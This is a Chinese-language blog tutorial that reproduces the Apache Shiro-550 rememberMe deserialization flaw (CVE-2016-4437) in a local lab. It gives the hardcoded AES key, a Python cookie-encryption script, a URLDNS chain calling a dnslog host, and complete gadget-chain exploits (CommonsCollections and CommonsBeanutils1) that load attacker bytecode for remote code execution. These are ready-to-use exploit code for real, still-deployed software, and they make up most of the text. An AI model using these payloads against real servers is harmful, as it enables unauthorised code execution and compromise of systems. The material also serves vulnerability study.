Shiro反序列化漏洞——Shiro550

Shiro反序列化漏洞——Shiro550

前言

Shiro-550反序列化漏洞(CVE-2016-4437) 漏洞简介 shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。 于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。

环境搭建

先下载shriro 1.2.4

解压到文件夹,并打开shiro-shiro-root-1.2.4/pom.xml​文件,并把jstl依赖​版本改为1.2

image

然后使用IDEA打开Maven项目,位置选择我们刚才解压的文件夹,最后点击确认

然后IDAE会自动下载依赖项,需要等待一段时间

image

Tomcat官网下载后解压

编辑下运行配置,设置为Tomcat本地服务器运行,然后JRE选择我们Java8版本的

image

然后点击部署,工件选择samples-web:war

image

image

直接右键Run

image

出现报错java: 错误: 不支持发行版本 6

定位到jdk版本

image

我是将这里改成了1.7

这里每一个都点进去,Language leve改为8

image

但编译依旧会报java: Compilation failed: internal java compiler error​,说是版本冲突

我们只需要学习shiro反序列化即可,那么其它的部分不必管

mvn clean install -Dmaven.test.skip=true -pl "!support/aspectj,!samples/aspectj,!samples/spring-client"

构建完后,启动你的 Shiro550 复现环境

cd samples/web
mvn jetty:run

输出这样即为启动成功

image

红框部分为端口号,这里8080被占用,所以Jetty 自动切换到了下一个可用端口

image

漏洞判断

登录抓包

image

可以看到返回了一长串Cookie,这里应该是进行了一些加密处理

漏洞分析

我们打开IDEA进行分析,按两下SHIFT,看哪个包和Cookie有关

image

这个就是处理RememberMe cookie的,然后分析一下里面的关键函数getRememberedSerializedIdentity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

获取cookie,然后base64解码

之后找一下哪里调用了这个函数

image

这里获取到之后进入了这个认证函数

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

这个函数做了两个事情,第一步是解密,第二步是反序列化

看一下解密的函数

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
1
ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;

这是一个接口,看一下里面的参数,第一个是加密的字段,第二个是key,应该是对称加密,用key去解密的,那么可以重点去想一下key是什么

如果知道key是什么就可以重新去构造这个包

这个key是通过函数获取的,看一下我们能不能自己获取,跟进getDecryptionCipherKey

1
2
3
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}

跟进decryptionCipherKey

1
private byte[] decryptionCipherKey;

发现是一个常量,看一下是在哪赋值的

主要看Value write的地方,在哪写它的

image

找到setCipherKey

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

找一下是哪里调用的它

image

跟进DEFAULT_CIPHER_KEY_BYTES​,发现是一个固定的值

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

也就是说在shiro1.2.4跟rememberme相关的用的都是这个固定的key去加密

image

加密算法就是AES算法

所以说构造一个序列化的payload,把它用AES的key加密,再把它base64,之后想办法把它走到正常流程里面

那么接下来看一下怎么构造payload

这里就先分析一下最普通的URLDNS链来验证一下这个漏洞

URLDNS链利用

dnslog获取一个SubDomain,然后根据之前学的写一个URLDNS的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.apache.shiro.web.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
//把url的hashcode改为不是-1
URL url = new URL("http://97w98w.dnslog.cn");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1111);
hashMap.put(url,1);
//将hashcode改为-1
hashcodefield.set(url,-1);
serialize(hashMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
}

执行一下,将生成的ser.bin文件copy到和exp.py文件同一目录下

exp.py文件就是AES加密然后base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Cipher import AES
import uuid
import base64

def convert_bin(file):
with open(file,'rb') as f:
return f.read()

def AES_enc(data):
BS=AES.block_size
pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode=AES.MODE_CBC
iv=uuid.uuid4().bytes
encryptor=AES.new(base64.b64decode(key),mode,iv)
ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode()
return ciphertext

if __name__=="__main__":
data=convert_bin("ser.bin")
print(AES_enc(data))

运行一下生成一串字符,直接替换到

image

反序列化调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package ysoserial.test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception {
unserialize("ser.bin");
}
}

发现并没有成功

这里因为SESSIONID字段,Shiro 会优先使用已有的 sessionId,当 sessionId 有效时,不会重新生成 RememberMe Cookie

所以要把这一部分删除,通过返回字段长度说明利用成功

image

image

利用CC2+CC3+CC6攻击

环境

在pom.xml中添加

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

分析

先准备一个CC6的链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//Override.class → 随便找一个合法的注解类型(必须是注解类,否则构造函数会报错)
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruction.newInstance(Override.class,lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstruction.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

将运行生成的ser.bin复制到与exp.py同一目录下

运行一下,将生成的加密cookie替换到

image

发现如下报错

Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader

加载不到Transformer​类

我们可以跟到它触发反序列化的地方看一下

image

image

这里可以看到并不是用的原生的readObject,而是用的shiro自定义的ClassResolvingObjectInputStream

跟进看一下发现重写了resolveClass​方法

1
2
3
4
5
6
7
8
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}

可以对比一下原生的resolveClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

原生的是直接调用forName​,而shiro框架下的是调用ClassUtils​里的forName

跟进ClassUtils

image

这里面的forName方法调用三次forname

ClassUtils.forName​不支持传入数组

是 因为shiro 加载 Class 最终调用的是 Tomcat​ 下的 webappclassloader​,该类会使用 Class.forName()​ 加载数组类,但是使用的 classloader 是 URLClassLoader​,只会加载 tomcat/bin​、tomcat/lib​、jre/lib/ext​ 下面的类数组,无法加载三方依赖 jar 包。

如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。因为 CC6 用到了 Transformer 数组,因此没法正常反序列化。

回顾一下所有CC链

image

那么我们这里可以用CC3的后半段,然后new一个InvokerTransformer​,前面和CC6的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.apache.shiro.web.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
//CC6
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry triedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(triedMapEntry,"bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);

serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

需要做一点小小改动

TiedMapEntry​传入的第二个参数改为templates

也就是说:

TiedMapEntry 的 “key” = 你的 templates
LazyMap 的工厂 = InvokerTransformer(“newTransformer”)
整条链最终会做的事情是:

templates.newTransformer()

正好触发 CC3 的恶意字节码加载。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.apache.shiro.web.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
//CC6
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry triedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(triedMapEntry,"bbb");
lazyMap.remove(templates);

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);

serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

验证

序列化一下将生成的ser.bin与exp.py放在一起运行exp.py将生成的放到rememberMe重传

image

成功执行

CommonsBeanutils1

背景

shiro默认的包里面其实并没有自带的commons-collections​,所以刚刚是我们自己加到pom.xml,现在我们把它删掉,打它自己本身带的依赖CommonsBeanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean)的一些操作方法。

创建一个JavaBean格式的Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.apache.shiro.web.example;

public class Person {
private String name;
private int age;

public Person(String name, int age){
this.name = name;
this.age = age;
}

public String getName(){
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge(){
return age;
}

public void setAge(int age) {
this.age = age;
}
}

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty​ ,让使用者可以直接调用任意 JavaBean 的 getter方法

1
2
3
4
5
6
7
8
9
10
package org.apache.shiro.web.example;

import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",20);
System.out.println(PropertyUtils.getProperty(person,"name"));
}
}

分析

在之前分析CC3那条链的时候当时说到TemplatesImpl​这个类,这个类的newTransformer​是一个初始化的过程,可以进行一个命令执行

image

所以这个getOutputProperties​也是一个可以命令执行的点,而它恰好符合JavaBean的格式,也就是get开头+一个属性名

那么我们就可以试一下PropertyUtils.getProperty(templates,"outputProperties");

这里要注意outProperties​开头应小写,因为JavaBean的格式,它在找方法的时候会将第一位转为大写

然后我们把CC3的部分copy过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.apache.shiro.web.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BeanTest {
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",20);
// System.out.println(PropertyUtils.getProperty(person,"age"));
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
//反序列化才能执行,所以要把_tfactory加上
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);
PropertyUtils.getProperty(templates,"outputProperties");
}
}

成功执行

所以我们要是可以控制PropertyUtils.getProperty​就可以任意执行代码

我们要找哪里可以调用getProperty​(这里不要忘记把CB包的源码download一下,不然find不到)

image

锁定在了这四个

首先看BeanToPropertyValueTransformer​,这个类没有继承serialize接口所以用不了

evaluate​最后找完也没有

再看compare

image

这个属性我们是可以控制的,而且之前CC2的时候也用过compare

e9016345b0d93977309b8c76cafe259e

所以我们现在就相当于把这个链串起来了

image

EXP

先写一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.apache.shiro.web.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2
PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

执行报错

1
2
3
4
5
6
7
Exception in thread "main" java.lang.RuntimeException: NoSuchMethodException: java.lang.NoSuchMethodException: Unknown property 'outputProperties' on class 'class java.lang.Integer'
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:168)
at java.util.PriorityQueue.siftUpUsingComparator(PriorityQueue.java:669)
at java.util.PriorityQueue.siftUp(PriorityQueue.java:645)
at java.util.PriorityQueue.offer(PriorityQueue.java:344)
at java.util.PriorityQueue.add(PriorityQueue.java:321)
at org.apache.shiro.web.example.ShiroCB.main(ShiroCB.java:37)

是Integer找不到outputProperties这个属性

所以我们尝试最后反射再把priorityQueue​值该过来

1
2
3
4
Class<PriorityQueue> c = PriorityQueue.class;
Field comparator = c.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);

执行一下依旧报错

那么我们就模仿一下CC2当时的处理方法

1
2
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.apache.shiro.web.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> c = PriorityQueue.class;
Field comparator = c.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);

serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

验证

将生成的ser.bin与exp.py放到同一目录下,运行exp.py

image

再说一下利用ysoserial的CB1链时的报错问题,提示 serialVersionUID​ 不一致

出现错误的原因就是,本地使用的 commons-beanutils 是 1.9.2 版本,而 Shiro 中自带的 commons-beanutils​ 是 1.8.3 版本,出现了 serialVersionUID 对应不上的问题。

image

所以以后在利用现成的集合工具时一定要注意版本问题


Shiro反序列化漏洞——Shiro550
http://example.com/post/shiro-deserialization-vulnerability-shiro550-262jwy.html
作者
Dre4m
发布于
2025年10月8日
许可协议